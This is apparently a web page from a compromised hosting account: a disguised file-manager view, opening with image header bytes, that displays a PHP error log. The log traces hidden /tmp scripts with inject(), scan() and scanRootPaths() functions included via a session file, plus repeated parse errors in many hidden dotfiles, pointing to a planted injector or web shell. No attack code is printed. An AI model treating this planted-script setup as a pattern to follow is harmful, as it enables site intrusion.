ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/pajang2.paussea.com/error_log
Back
[16-May-2025 11:51:51 UTC] PHP Fatal error: Uncaught mysqli_sql_exception: Failed to parse IPv6 address "[[softdbhost]]:3306" in /tmp/.class:1 Stack trace: #0 /tmp/.class(1): mysqli->__construct() #1 /tmp/.class(1): inject() #2 /tmp/.class(1): scan() #3 /tmp/.class(1): scan() #4 /tmp/.class(1): scan() #5 /tmp/.class(1): scan() #6 /tmp/.class(1): scanRootPaths() #7 /opt/alt/php81/var/lib/php/session/_gTCiJBKVoZkHe(1): include('/tmp/.class') #8 /home/tokomrjk/pajang2.paussea.com/viewer.paussea.com.php(26): include('/opt/alt/php81/...') #9 {main} thrown in /tmp/.class on line 1 [16-May-2025 20:56:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 5 [16-May-2025 20:56:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 5 [17-May-2025 03:28:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [17-May-2025 03:28:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 3 [17-May-2025 09:59:35 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 3 [17-May-2025 10:00:03 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [17-May-2025 16:34:03 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [17-May-2025 23:02:10 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [17-May-2025 23:02:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [18-May-2025 05:33:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [18-May-2025 05:33:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [18-May-2025 12:05:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [18-May-2025 12:05:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [18-May-2025 18:36:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 3 [18-May-2025 18:37:14 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [19-May-2025 01:07:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [19-May-2025 01:07:47 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [19-May-2025 07:38:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [19-May-2025 07:38:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [19-May-2025 14:09:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [19-May-2025 14:10:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 3 [19-May-2025 20:41:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [19-May-2025 20:41:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [20-May-2025 03:13:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.request on line 3 [20-May-2025 03:13:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [20-May-2025 09:44:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 3 [20-May-2025 09:44:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [20-May-2025 16:16:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [20-May-2025 16:16:24 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [20-May-2025 22:47:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [20-May-2025 22:47:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [21-May-2025 05:18:29 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [21-May-2025 05:18:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [21-May-2025 11:49:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [21-May-2025 11:49:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [21-May-2025 18:21:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [21-May-2025 18:21:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [22-May-2025 00:52:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 6 [22-May-2025 00:52:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 6 [22-May-2025 07:24:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [22-May-2025 07:24:44 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [22-May-2025 13:55:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 3 [22-May-2025 13:56:14 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [22-May-2025 20:27:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [22-May-2025 20:27:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [23-May-2025 02:58:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [23-May-2025 02:59:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [23-May-2025 09:30:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [23-May-2025 09:30:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [23-May-2025 16:01:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [23-May-2025 16:01:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [23-May-2025 22:32:45 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 3 [23-May-2025 22:33:16 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [24-May-2025 05:04:11 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [24-May-2025 05:04:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [24-May-2025 11:35:29 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [24-May-2025 11:35:41 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [24-May-2025 18:06:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [24-May-2025 18:07:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [25-May-2025 07:10:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [25-May-2025 07:12:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 3 [25-May-2025 13:41:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [25-May-2025 13:41:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [25-May-2025 20:12:49 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [25-May-2025 20:12:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [26-May-2025 02:44:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [26-May-2025 02:44:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [26-May-2025 09:15:32 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [26-May-2025 09:15:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [26-May-2025 15:47:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [26-May-2025 15:47:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 3 [26-May-2025 22:19:17 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [26-May-2025 22:19:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [27-May-2025 11:22:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [27-May-2025 11:22:29 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [27-May-2025 17:54:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [27-May-2025 17:54:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [28-May-2025 00:26:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 6 [28-May-2025 00:27:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 6 [28-May-2025 06:56:45 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [28-May-2025 06:56:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [28-May-2025 13:31:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [28-May-2025 19:59:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 6 [28-May-2025 20:00:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 6 [29-May-2025 02:31:14 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 3 [29-May-2025 02:31:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [29-May-2025 09:04:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 4 [29-May-2025 15:34:14 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [29-May-2025 15:34:29 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 3 [29-May-2025 22:05:45 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [29-May-2025 22:05:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [30-May-2025 04:37:01 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [30-May-2025 04:37:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [30-May-2025 11:08:16 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 3 [30-May-2025 11:08:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [30-May-2025 17:40:17 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [30-May-2025 17:40:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [31-May-2025 00:12:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.request on line 3 [31-May-2025 06:42:59 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [31-May-2025 06:43:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [31-May-2025 13:14:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 2 [31-May-2025 13:14:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 2 [31-May-2025 19:45:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [31-May-2025 19:46:11 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [01-Jun-2025 02:21:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 3 [01-Jun-2025 08:51:17 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 2 [01-Jun-2025 15:19:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 4 [01-Jun-2025 15:19:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 4 [01-Jun-2025 21:50:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 3 [01-Jun-2025 21:51:01 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [02-Jun-2025 04:21:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [02-Jun-2025 04:21:49 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [02-Jun-2025 10:52:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [02-Jun-2025 10:52:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [02-Jun-2025 17:24:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [02-Jun-2025 23:55:03 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [02-Jun-2025 23:55:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [03-Jun-2025 06:26:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [03-Jun-2025 06:27:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [03-Jun-2025 12:58:10 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [03-Jun-2025 12:58:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [03-Jun-2025 19:29:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [03-Jun-2025 19:29:35 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [04-Jun-2025 02:00:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [04-Jun-2025 02:00:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [04-Jun-2025 08:01:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [04-Jun-2025 08:02:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [04-Jun-2025 14:03:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [04-Jun-2025 14:03:10 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 3 [04-Jun-2025 20:04:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [04-Jun-2025 20:04:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [05-Jun-2025 02:05:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 3 [05-Jun-2025 02:05:32 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [05-Jun-2025 08:06:51 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 3 [05-Jun-2025 08:06:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [05-Jun-2025 14:08:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [05-Jun-2025 14:08:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [05-Jun-2025 20:09:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [05-Jun-2025 20:09:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [06-Jun-2025 02:11:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [06-Jun-2025 02:11:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [06-Jun-2025 08:13:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [06-Jun-2025 08:13:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [06-Jun-2025 14:14:24 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 2 [06-Jun-2025 14:14:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 2 [06-Jun-2025 20:15:24 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [06-Jun-2025 20:15:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [07-Jun-2025 02:16:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [07-Jun-2025 02:16:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [07-Jun-2025 08:20:15 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [07-Jun-2025 14:51:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 2 [07-Jun-2025 21:21:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [07-Jun-2025 21:21:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [08-Jun-2025 03:52:01 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [08-Jun-2025 03:52:15 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [08-Jun-2025 10:23:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [08-Jun-2025 10:23:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [08-Jun-2025 16:55:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [08-Jun-2025 16:56:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [08-Jun-2025 23:26:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [08-Jun-2025 23:26:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [09-Jun-2025 05:59:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [09-Jun-2025 05:59:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [09-Jun-2025 12:28:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [09-Jun-2025 12:28:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [09-Jun-2025 19:00:03 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [09-Jun-2025 19:00:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [10-Jun-2025 01:31:29 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [10-Jun-2025 01:31:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [10-Jun-2025 08:03:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 3 [10-Jun-2025 08:03:13 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [10-Jun-2025 14:34:35 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [10-Jun-2025 14:34:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [11-Jun-2025 11:26:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [11-Jun-2025 18:14:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 5 [13-Jun-2025 19:13:16 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 5 [15-Jun-2025 18:59:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 1 [15-Jun-2025 19:03:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 1 [16-Jun-2025 01:35:11 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 2 [16-Jun-2025 14:34:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 2 [16-Jun-2025 21:04:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 2 [17-Jun-2025 03:35:47 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [17-Jun-2025 03:39:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [17-Jun-2025 16:36:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [17-Jun-2025 16:36:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [17-Jun-2025 23:11:49 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [18-Jun-2025 05:43:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [18-Jun-2025 12:09:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [18-Jun-2025 12:10:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [18-Jun-2025 18:41:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [18-Jun-2025 18:41:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [19-Jun-2025 01:11:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [19-Jun-2025 01:12:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [19-Jun-2025 07:43:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [19-Jun-2025 07:45:15 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 3 [19-Jun-2025 14:16:08 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [19-Jun-2025 14:16:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 3 [19-Jun-2025 20:47:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 3 [19-Jun-2025 20:48:01 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [20-Jun-2025 03:18:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [20-Jun-2025 03:19:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [20-Jun-2025 09:49:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [20-Jun-2025 09:50:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [20-Jun-2025 16:20:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 2 [20-Jun-2025 16:22:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 2 [20-Jun-2025 22:51:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [20-Jun-2025 22:51:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [21-Jun-2025 05:22:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 3 [21-Jun-2025 05:24:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [21-Jun-2025 11:54:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [21-Jun-2025 11:55:32 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [21-Jun-2025 18:24:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [21-Jun-2025 18:26:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [22-Jun-2025 00:57:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [22-Jun-2025 00:57:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [22-Jun-2025 07:27:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [22-Jun-2025 07:29:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [22-Jun-2025 13:59:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [22-Jun-2025 14:00:06 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [22-Jun-2025 20:30:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [22-Jun-2025 20:31:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [23-Jun-2025 03:02:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 3 [23-Jun-2025 03:02:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [23-Jun-2025 09:32:01 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [23-Jun-2025 09:32:32 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [23-Jun-2025 16:02:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [23-Jun-2025 16:03:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [23-Jun-2025 22:34:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" 